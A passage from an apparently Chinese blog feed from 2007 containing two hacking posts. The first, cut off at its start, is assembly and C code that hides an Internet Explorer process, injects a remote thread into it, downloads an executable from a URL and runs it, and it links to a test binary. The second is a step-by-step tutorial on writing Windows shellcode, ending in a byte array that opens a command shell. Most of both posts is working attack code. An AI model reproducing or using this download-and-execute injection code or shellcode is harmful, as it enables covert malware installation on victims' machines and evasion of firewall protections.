eax,[ebp+0x8C]<br/>&nbsp;&nbsp;lea ebx,[ebp+0xC]<br/>&nbsp;&nbsp;push eax<br/>&nbsp;&nbsp;push ebx<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push [ebp + 0x8]<br/>&nbsp;&nbsp;call [edi-0x08]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //RegQueryValueExA<br/><br/>&nbsp;&nbsp;push [ebp+0x8]<br/>&nbsp;&nbsp;call [edi-0x04]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //RegCloseKey<br/><br/>&nbsp;&nbsp;//==================创建IE进程<br/>&nbsp;&nbsp;//int 3<br/>&nbsp;&nbsp;mov ecx,0x44<br/>zero:<br/>&nbsp;&nbsp;mov [ebp+0x90+ecx],0<br/>&nbsp;&nbsp;loop zero<br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0x90],0x44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //STARTUPINFO si={sizeof(si)};<br/>&nbsp;&nbsp;mov word ptr [ebp+0xBE],SW_HIDE<br/>&nbsp;&nbsp;mov [ebp+0xBC],STARTF_USESHOWWINDOW<br/><br/>&nbsp;&nbsp;lea eax,[ebp+0xD4]<br/>&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&amp;pi<br/>&nbsp;&nbsp;lea eax,[ebp+0x90]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&amp;si<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;lea eax,[ebp+0xC]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //IE路径<br/>&nbsp;&nbsp;push eax<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;call [edi-0x20]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Cr&#101;ateProcess<br/><br/>&nbsp;&nbsp;//=================申请内存空间<br/>&nbsp;&nbsp;push PAGE_EXECUTE_READWRITE<br/>&nbsp;&nbsp;push MEM_COMMIT<br/>&nbsp;&nbsp;push 0x40<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push [ebp+0xD4]<br/>&nbsp;&nbsp;call [edi-0x1C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //VirtualAllocEx<br/>&nbsp;&nbsp;mov [ebp+0xE4],eax<br/><br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0x40<br/>&nbsp;&nbsp;push [ebp+0x4]<br/>&nbsp;&nbsp;push eax<br/>&nbsp;&nbsp;push [ebp+0xD4]<br/>&nbsp;&nbsp;call [edi-0x18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //WriteProcessMemory<br/><br/>&nbsp;&nbsp;//初始化需要传给远线程的参数 4 + 4 + 32 + 32 + 4 + 128 + 16 + 4 + 4 = 228 = 0xEC<br/>&nbsp;&nbsp;mov eax,[edi-0x2c]<br/>&nbsp;&nbsp;mov [ebp+0xEC],eax<br/>&nbsp;&nbsp;mov eax,[edi-0x10]<br/>&nbsp;&nbsp;mov [ebp+0xF0],eax<br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0xF4],&#39;mlru&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0xF8],&#39;d.no&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0xFC],0x00006C6C<br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0x114],&#39;DLRU&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x118],&#39;lnwo&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x11C],&#39;Tdao&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x120],&#39;liFo&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x124],0x00004165<br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0x134],0<br/><br/>&nbsp;&nbsp;//0x138开始存放下载网址<br/>&nbsp;&nbsp;mov esi,[ebp]<br/>&nbsp;&nbsp;xor ecx,ecx<br/>lengthofurl:<br/>&nbsp;&nbsp;inc ecx<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; eax,eax<br/>&nbsp;&nbsp;lodsb<br/>&nbsp;&nbsp;test&nbsp;&nbsp; eax,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 寻找函数名之间的空格x00<br/>&nbsp;&nbsp;jne&nbsp;&nbsp; lengthofurl<br/><br/>&nbsp;&nbsp;inc ecx<br/>&nbsp;&nbsp;xor ebx,ebx<br/>&nbsp;&nbsp;mov esi,[ebp]<br/>copyurl:<br/>&nbsp;&nbsp;mov al,BYTE PTR [esi]<br/>&nbsp;&nbsp;mov BYTE PTR [ebp+0x138+ebx],al<br/>&nbsp;&nbsp;inc esi<br/>&nbsp;&nbsp;inc ebx<br/>&nbsp;&nbsp;loop copyurl<br/><br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0x1B8],0x675C3A63<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x1BC],&#39;.yzy&#39;<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x1C0],0x00657865<br/><br/>&nbsp;&nbsp;mov dword ptr [ebp+0x1C8],0<br/>&nbsp;&nbsp;mov dword ptr [ebp+0x1CC],0<br/>/*<br/>struct DownInfo<br/>{<br/>DWORD caller;<br/>char* <br/>char filename[16];<br/>DWORD reserved;<br/>DWORD callbacker;<br/>};<br/><br/>struct RemoteParam<br/>{<br/>//rfdel&#101;teLoadLibraryW fnLoadLibrary;<br/>rfRemoteDownExecGetProcAddress fnGetProcAddress;<br/>rfRemoteDownExecLoadLibrary fnLoadLibrary;<br/><br/>//必须得传过去的函数名字<br/>char&nbsp;&nbsp; strURLMon[32];<br/>char&nbsp;&nbsp; strURLDownloadToFileA[32];<br/>DownInfo di;<br/>};<br/>*/<br/>&nbsp;&nbsp;push PAGE_EXECUTE_READWRITE<br/>&nbsp;&nbsp;push MEM_COMMIT<br/>&nbsp;&nbsp;push 0xEC<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push [ebp+0xD4]<br/>&nbsp;&nbsp;call [edi-0x1C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //VirtualAllocEx<br/>&nbsp;&nbsp;mov [ebp+0xE8],eax<br/><br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0xEC<br/>&nbsp;&nbsp;lea edx, [ebp+0xEC]<br/>&nbsp;&nbsp;push edx<br/>&nbsp;&nbsp;push eax<br/>&nbsp;&nbsp;push [ebp+0xD4]<br/>&nbsp;&nbsp;call [edi-0x18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //WriteProcessMemory<br/><br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push [ebp+0xE8]<br/>&nbsp;&nbsp;push [ebp+0xE4]<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push [ebp+0xD4]<br/>&nbsp;&nbsp;call [edi-0x14]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Cr&#101;ateRemoteThread<br/><br/>&nbsp;&nbsp;push 10000<br/>&nbsp;&nbsp;call [edi-0x30]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Sleep<br/><br/>&nbsp;&nbsp;lea eax, [ebp+0x1B8]<br/>&nbsp;&nbsp;push eax<br/>&nbsp;&nbsp;call [edi-0x28]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //WinExec<br/><br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;call [edi-0x24]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ExitProcess<br/><br/><br/>&nbsp;&nbsp;// ============ 解决api地址的函数 ============<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输入参数:<br/>&nbsp;&nbsp;// ecx 函数个数<br/>&nbsp;&nbsp;// edx GetProcAddress 地址<br/>&nbsp;&nbsp;// ebx 输出函数的dll起始地址<br/>&nbsp;&nbsp;// esi 函数名表起始地址<br/>&nbsp;&nbsp;// edi 保存函数地址的起始地址<br/><br/>locator_api_addr:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>locator_space:<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; eax,eax<br/>&nbsp;&nbsp;lodsb<br/>&nbsp;&nbsp;test&nbsp;&nbsp; eax,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 寻找函数名之间的空格x00<br/>&nbsp;&nbsp;jne&nbsp;&nbsp;&nbsp;&nbsp; locator_space<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;push&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;push&nbsp;&nbsp; edx<br/>&nbsp;&nbsp;push&nbsp;&nbsp; esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 函数名<br/>&nbsp;&nbsp;push&nbsp;&nbsp; ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 输出函数的dll起始地址<br/>&nbsp;&nbsp;call&nbsp;&nbsp; edx<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edx<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;stos&nbsp;&nbsp; dword ptr [edi]<br/>&nbsp;&nbsp;loop&nbsp;&nbsp; locator_space<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; eax,eax<br/>&nbsp;&nbsp;ret<br/>&nbsp;&nbsp;// ================== 结束调用 ====================<br/>end:<br/>&nbsp;&nbsp;call&nbsp;&nbsp; start<br/>}<br/><br/>__asm<br/>{<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>}<br/><br/>return;<br/>}<br/><br/>/*<br/>struct DownInfo<br/>{<br/>DWORD caller;<br/>char* <br/>char filename[16];<br/>DWORD reserved;<br/>DWORD callbacker;<br/>};<br/><br/>struct RemoteParam<br/>{<br/>//rfdel&#101;teLoadLibraryW fnLoadLibrary;<br/>rfRemoteDownExecGetProcAddress fnGetProcAddress;<br/>rfRemoteDownExecLoadLibrary fnLoadLibrary;<br/><br/>//必须得传过去的函数名字<br/>char&nbsp;&nbsp; strURLMon[32];<br/>char&nbsp;&nbsp; strURLDownloadToFileA[32];<br/>DownInfo di;<br/>};<br/><br/>typedef struct _STARTUPINFOW {<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; cb; 0x90<br/>&nbsp;&nbsp;LPWSTR lpReserved; 94<br/>&nbsp;&nbsp;LPWSTR lpDesktop; 98<br/>&nbsp;&nbsp;LPWSTR lpTitle; 9c<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwX;a0<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwY;a4<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwXSize;a8<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwYSize;ac<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwXCountChars;b0<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwYCountChars;b4<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwFillAttribute;b8<br/>&nbsp;&nbsp;DWORD&nbsp;&nbsp; dwFlags;bc<br/>&nbsp;&nbsp;WORD&nbsp;&nbsp; wShowWindow;be<br/>&nbsp;&nbsp;WORD&nbsp;&nbsp; cbReserved2;e0<br/>&nbsp;&nbsp;LPBYTE lpReserved2;<br/>&nbsp;&nbsp;HANDLE hStdInput;<br/>&nbsp;&nbsp;HANDLE hStdOutput;<br/>&nbsp;&nbsp;HANDLE hStdError;<br/>} STARTUPINFOW, *LPSTARTUPINFOW;<br/><br/>typedef struct _PROCESS_INFORMATION {<br/>&nbsp;&nbsp;HANDLE hProcess;<br/>&nbsp;&nbsp;HANDLE hThread;<br/>&nbsp;&nbsp;DWORD dwProcessId;<br/>&nbsp;&nbsp;DWORD dwThreadId;<br/>} PROCESS_INFORMATION<br/>*/<br/><br/>&nbsp;&nbsp;buff中的这段是注入IE的代码(如下):<br/><br/>Copy code<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;\x56\x8B\x74\x24\x08\x8D\x46\x08\x50\xFF\x56\x04\x8D\x4E\x28\x51&#34;<br/>&#34;\x50\xFF\x16\x8B\x96\xE0\x00\x00\x00\x8B\x8E\xDC\x00\x00\x00\x52&#34;<br/>&#34;\x51\x8D\x96\xCC\x00\x00\x00\x52\x8B\x56\x48\x8D\x4E\x4C\x51\x52&#34;<br/>&#34;\xFF\xD0\xB8\x01\x00\x00\x00\x5E\xC2\x04\x00\xCC\xCC\xCC\xCC\xCC&#34;<br/><br/>C代码原型如下，para为注入IE的远线程的参数：<br/><br/>Copy code<br/><br/>struct DownInfo<br/>{<br/>DWORD caller;<br/>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; url[128];<br/>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; filename[16];<br/>DWORD reserved;<br/>DWORD callbacker;<br/>};<br/><br/>struct Param<br/>{<br/>FARPROC ptrGetProcAddress;<br/>FARPROC ptrLoadLibrary;<br/><br/>char&nbsp;&nbsp; strURLMon[32];<br/>char&nbsp;&nbsp; strURLDownloadToFileA[32];<br/>DownInfo di;<br/>};<br/><br/>DWORD WINAPI RemoteDownExecThread(void *para)<br/>{<br/>Param *pa=(Param *)para;<br/>HMODULE hModule = pa-&gt;ptrLoadLibrary(pa-&gt;strURLMon);<br/>FARPROC ptrURLDownloadToFileA = (FARPROC)pa-&gt;ptrGetProcAddress(hModule, rp-&gt;strURLDownloadToFileA);<br/><br/>ptrURLDownloadToFileA(pa-&gt;di.caller,pa-&gt;di.url,pa-&gt;di.filename,pa-&gt;di.reserved,pa-&gt;di.callbacker);<br/><br/>return true;<br/>}<br/><br/>然后调用Cr&#101;ateRemoteThread，搞定.<br/>看了一下,文章貌似有点长，在最后顺便打个小广告，欢迎大家访问我的博客:www.gyzy.org,大家也看到了，测试程序就是<a href="http://www.xyzreg.net/gyzy.exe" target="_blank">http://www.xyzreg.net/gyzy.exe</a>,嘿嘿，人穷志短呐，只能暂时住在xyzreg家了，感谢xyzreg。另外，参考了Swan的《远线程删除自身》，在此一并感谢.转载记得保留版权信息<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8697</link>
			<title><![CDATA[打造Windows下自己的ShellCode]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[VC++]]></category>
			<pubDate>Sat,10 Nov 2007 02:16:45 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8697</guid>	
		<description><![CDATA[　　<span style="color:#800080">适合读者</span>：漏洞分析员、黑迷<br/><br/>　　<span style="color:#800080">前置知识：</span>汇编阅读能力，漏洞调试基本步骤，VC使用方法<br/><br/>　　<span style="color:#800080">WTF</span>：这几次的菜鸟版EXP系列文章都是重点讲解溢出编程的原理和思路，包括漏洞的定位，利用构造以及遇到限制时ShellCode的编码技巧等，但对ShellCode本身的编写，特别是Windows环境下ShellCode的初步编写，却很少提及。在文章中都是说发扬“拿来主义”，看准外面现成的ShellCode，直接拿来用，对不合规范的地方稍微改改就成——其实我们是有策略的，试想一来就一大堆汇编，初学者不晕就懵，不被吓跑才怪，所以前期重点放在激发大家的兴趣上。但作为一个菜鸟，在兴趣激起来后，毕竟要进入到ShellCode的编写中。一是因为Exploit很大的乐趣就在于ShellCode的编写，二是明白了ShellCode的编写，才能更好的使用和改进外面的代码。那，我们开始……<br/><br/>　　<strong>打造Windows下自己的ShellCode</strong> <br/><br/>　　文/图 王炜/ww0830<br/><br/>　　为了帮助初学者了解ShellCode的编写，并能一步一步操作得到自己的ShellCode，因此将Windows下ShellCode的编写过程作详细的介绍，以利于像我一样的菜鸟，最终能够写出简单的但却是真实的ShellCode；而进一步高级的ShellCode的编写，也会在系列后面的文章中一步一步的演示的，希望大家会发现，Exp真好，ShellCode最美妙！<br/><br/>　　<strong>ShellCode简介和编写步骤<br/><br/>　　</strong><br/><br/>　　从以前的文章和别人的攻击代码中可以知道，ShellCode是以“\xFF\x3A\x45\x72……”的形式出现在程序中的，而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来，去执行“\xFF\x3A\x45\x72……”――由此看出，ShellCode才是Exploit攻击的真正主宰（就如同独行者是我们文章的主宰一样）。而ShellCode的“\xFF\x3A\x45\x72……”那些值，其实是机器码的形式，和一般程序在里面存的东东是没什么两样的，攻击程序把内存里面的数据动态改成ShellCode的值，再跳过去执行，就如同执行一个在内存中的一般程序一样，只不过完成的是我们的功能，溢出攻击就这样实现了。<br/><br/>　　在此可以下个定义：ShellCode就是一段程序的机器码形式，而ShellCode的编写过程，就是得到我们想要程序的机器码的过程。<br/><br/>　　当然ShellCode的特殊性和Windows下函数调用的特点，决定了和一般的汇编程序有所不同。所以其编写步骤应该是，<br/><br/>　　1．构想ShellCode的功能；<br/><br/>　　2．用C语言验证实现；<br/><br/>　　3．根据C语言实现，改成带有ShellCode特点的汇编；<br/><br/>　　4．最后得到机器码形式的ShellCode。<br/><br/>　　其中最重要的是第三步――改成有ShellCode特点的汇编，将在本文的后面讲到。<br/><br/>　　首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马，杀掉防火墙，倒流时光，发电磁波找外星人等等（WTF：咳……），但最基本的功能，还是希望开一个DOS窗口，那我们可以在DOS窗口中做很多事情，所以先介绍开DOS窗口ShellCode的写法吧。<br/><br/>　　C语言代码<br/><br/>　　比如下面这个程序就可以完成开DOS窗口的功能，大家详细看下注释：<br/><br/>　　<span style="color:#0000ff">#include <br/><br/>　　#include&nbsp;&nbsp;<br/><br/>　　typedef void (*MYPROC)(LPTSTR);&nbsp;&nbsp;//定义函数指针<br/><br/>　　int main()<br/><br/>　　{<br/><br/>　　HINSTANCE LibHandle;<br/><br/>　　MYPROC ProcAdd;<br/><br/>　　LibHandle = LoadLibrary(“msv.dll”);<br/><br/>　　ProcAdd = (MYPROC) GetProcAddress(LibHandle, &#34;System&#34;); //查找System函数地址<br/><br/>　　(ProcAdd) (&#34;command.com&#34;);&nbsp;&nbsp;//其实就是执行System(“command.com”)<br/><br/>　　return 0;<br/><br/>　　}<br/><br/>　　</span>&nbsp;&nbsp;&nbsp;&nbsp;其实执行System(“command.com”)也可以完成开DOS窗口的功能，写成这么复杂是有原因的，解释一下该程序：首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型，该类型的函数参数为是字符串，返回值为空。接着定义MYPROC ProcAdd，使ProcAdd为指向参数为是字符串，返回值为空的函数指针；使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll；再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd，之后ProcAdd里存的就是System函数的地址，以后使用这个地址来调用System函数；最后(ProcAdd) (&#34;command.com&#34;)就是调用System(&#34;command.com&#34;)，可以获得一个DOS窗口。在窗口中我们可以执行Dir，Copy等命令。如下图1所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/778/liV3e4FgbsKLQ.jpg" border="0" alt=""/><br/><br/>　　图1<br/><br/>　　<strong> 获得函数的地址<br/><br/>　　</strong><br/><br/>　　程序中用GetProcAddress函数获得System的真实地址，但地址究竟是多少，如何查看呢？<br/><br/>　　在VC中，我们按F10进入调试状态，然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers，这样出现了源程序的汇编代码和寄存器状态窗口，如图2所示<br/><br/>　　<img src="http://img.zol.com.cn/article/3/779/liy7ylyED4P2.jpg" border="0" alt=""/><br/><br/>　　图2<br/><br/>　　继续按F10执行，直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, &#34;System&#34;)语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后，EAX变为7801AFC3，说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/780/li13VE9H1g5U.jpg" border="0" alt=""/><br/><br/>　　图3<br/><br/>　　WTF：注意本次测试中读者的机器是Windows 2000 SP3，不同环境可能地址不同。<br/><br/>　　为什么EAX就是System( )函数的地址呢？那是因为函数执行的返回值，在汇编下通常是放在EAX中的，这算是计算机系统的约定吧，所以GetProcAddress（”System”）的返回值（System函数的地址），就在EAX中，为0x7801AFC3。<br/><br/>　　<strong> Windows下函数的调用原理<br/><br/>　　</strong><br/><br/>　　为什么要这么麻烦的得到System函数的地址呢？这是因为在Windows下，函数的调用方法是先将参数从右到左压入堆栈，然后Call该函数的地址。比如执行函数Fun（argv1, argv2），先把参数从右到左压入堆栈，这里就是依次把argv2，argv1压入堆栈里，然后Call Fun函数的地址。这里的Call Fun函数地址，其实等于两步，一是把保存当前EIP，二是跳到Func函数的地址执行，即Push&nbsp;&nbsp;EIP ＋ Jmp Fun。其过程如下图4所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/781/li4V2R0CEEM.jpg" border="0" alt=""/><br/><br/>　　图4<br/><br/>　　同理，我们要执行System(&#34;command.com&#34;)：首先参数入栈，这里只有一个参数，所以就把Command.com的地址压入堆栈，注意是Command.com字符串的地址；然后Call System函数的地址，就完成了执行。如图5所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/782/lioI2e9Gc9nlQ.jpg" border="0" alt=""/><br/><br/>　　图5<br/><br/>　　<strong>构造有ShellCode特点的汇编<br/><br/>　　</strong><br/><br/>　　明白了Windows函数的执行原理，我们要执行System(“Command.exe”)，就要先把Command.exe字符串的地址入栈，但Command.exe字符串在哪儿呢？内存中可能没有，但我们可以自己构造！<br/><br/>　　我们把‘Command.exe’一个字符一个字符的赋给堆栈，这样‘Command.exe’字符串就有了，而栈顶的指针ESP正好是Command.exe字符串的地址，我们Push esp，就完成了参数――Command.exe字符串的地址入栈。如下图6所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/783/lijHxgUWuIDk.jpg" border="0" alt=""/><br/><br/>　　图6<br/><br/>　　参数入栈了，然后该Call System函数的地址。刚才已经看到，在Windows 2000 SP3上，System函数的地址为0x7801AFC3，所以Call 0x7801AFC3就行了。<br/><br/>　　把思路合起来，可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。<br/><br/>　　<span style="color:#0000ff">mov esp,ebp ; <br/><br/>　　push ebp ; <br/><br/>　　mov ebp,esp ;&nbsp;&nbsp;&nbsp;&nbsp;把当前esp赋给ebp <br/><br/>　　xor edi,edi ;<br/><br/>　　push edi ;压入0，esp－4,; 作用是构造字符串的结尾\0字符。 <br/><br/>　　sub esp,08h ;加上上面，一共有12个字节,;用来放&#34;command.com&#34;。 <br/><br/>　　mov byte ptr [ebp-0ch],63h ;&nbsp;&nbsp;c<br/><br/>　　mov byte ptr [ebp-0bh],6fh ;&nbsp;&nbsp;o<br/><br/>　　mov byte ptr [ebp-0ah],6dh ;&nbsp;&nbsp;m<br/><br/>　　mov byte ptr [ebp-09h],6Dh ;&nbsp;&nbsp;m<br/><br/>　　mov byte ptr [ebp-08h],61h ;&nbsp;&nbsp;a<br/><br/>　　mov byte ptr [ebp-07h],6eh ;&nbsp;&nbsp;n<br/><br/>　　mov byte ptr [ebp-06h],64h ;&nbsp;&nbsp;d<br/><br/>　　mov byte ptr [ebp-05h],2Eh ;&nbsp;&nbsp;.<br/><br/>　　mov byte ptr [ebp-04h],63h ;&nbsp;&nbsp;c<br/><br/>　　mov byte ptr [ebp-03h],6fh ;&nbsp;&nbsp;o<br/><br/>　　mov byte ptr [ebp-02h],6dh ;&nbsp;&nbsp;m一个一个生成串&#34;command.com&#34;.<br/><br/>　　lea eax,[ebp-0ch] ;&nbsp;&nbsp; <br/><br/>　　push eax ;&nbsp;&nbsp;&nbsp;&nbsp;command.com串地址作为参数入栈<br/><br/>　　mov eax, 0x7801AFC3 ;<br/><br/>　　call eax ;&nbsp;&nbsp;&nbsp;&nbsp; call System函数的地址</span><br/><br/>　　明白了原理再看实现，是不是清楚了很多呢？<br/><br/>　　<strong>提取ShellCode<br/><br/>　　</strong><br/><br/>　　首先来验证一下，在VC中可以用__asm关键字插入汇编，我们把System(“Command.exe”)用我们写的汇编替换，LoadLibrary先不动，然后执行，成功！弹出了我们想要的DOS窗口。如下图7所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/784/liqMddBTMNQc.jpg" border="0" alt=""/><br/><br/>　　图7<br/><br/>　　同样的道理，LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编，注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来，将其编译、链接、执行，也成功了！如下图8所示。<br/><br/>　　<img src="http://img.zol.com.cn/article/3/777/liPlP8UsHQw.jpg" border="0" alt=""/><br/><br/>　　图8<br/><br/>　　有了上面的工作，提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序，按F10进入调试，接着按下Debug工具栏的Disassembly按钮，点右键，在弹出菜单中选中Code Bytes，就出现汇编对应的机器码。因为汇编可以完全完成我们的功能，所以我们把汇编对应的机器码原封不动抄下来，就得到我们想要的ShellCode了。提取出来的ShellCode如下。<br/><br/>　　<span style="color:#0000ff">unsigned char shellcode[] =<br/><br/>　　&#34;\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53&#34;<br/><br/>　　&#34;\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6&#34;<br/><br/>　　&#34;\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA&#34;<br/><br/>　　&#34;\x64\x9f\xE6\x77&#34;&nbsp;&nbsp;//sp3 loadlibrary地址0x77e69f64<br/><br/>　　&#34;\x52\x8D\x45\xF4\x50&#34; <br/><br/>　　&#34;\xFF\x55\xF0&#34;<br/><br/>　　&#34;\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E&#34; <br/><br/>　　&#34;\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4&#34; <br/><br/>　　&#34;\x50\xB8&#34;<br/><br/>　　&#34;\xc3\xaf\x01\x78&#34;&nbsp;&nbsp;//sp3 System地址0x7801afc3<br/><br/>　　&#34;\xFF\xD0&#34;;</span><br/><br/>　　<strong> 验证ShellCode<br/><br/>　　</strong><br/><br/>　　最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法，只需要新建一个工程和c源文件，然后把ShellCode部分拷下来，存为一个数组，最后在main中添上( (void(*)(void)) &amp;shellcode )()，如下：<br/><br/>　　<span style="color:#0000ff">unsigned char shellcode[] =<br/><br/>　　&#34;\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53&#34;<br/><br/>　　&#34;\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6&#34;<br/><br/>　　&#34;\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA&#34;<br/><br/>　　&#34;\x64\x9f\xE6\x77&#34;&nbsp;&nbsp;//sp3 loadlibrary地址0x77e69f64<br/><br/>　　&#34;\x52\x8D\x45\xF4\x50&#34; <br/><br/>　　&#34;\xFF\x55\xF0&#34;<br/><br/>　　&#34;\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E&#34; <br/><br/>　　&#34;\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4&#34; <br/><br/>　　&#34;\x50\xB8&#34;<br/><br/>　　&#34;\xc3\xaf\x01\x78&#34;&nbsp;&nbsp;//sp3 System地址0x7801afc3<br/><br/>　　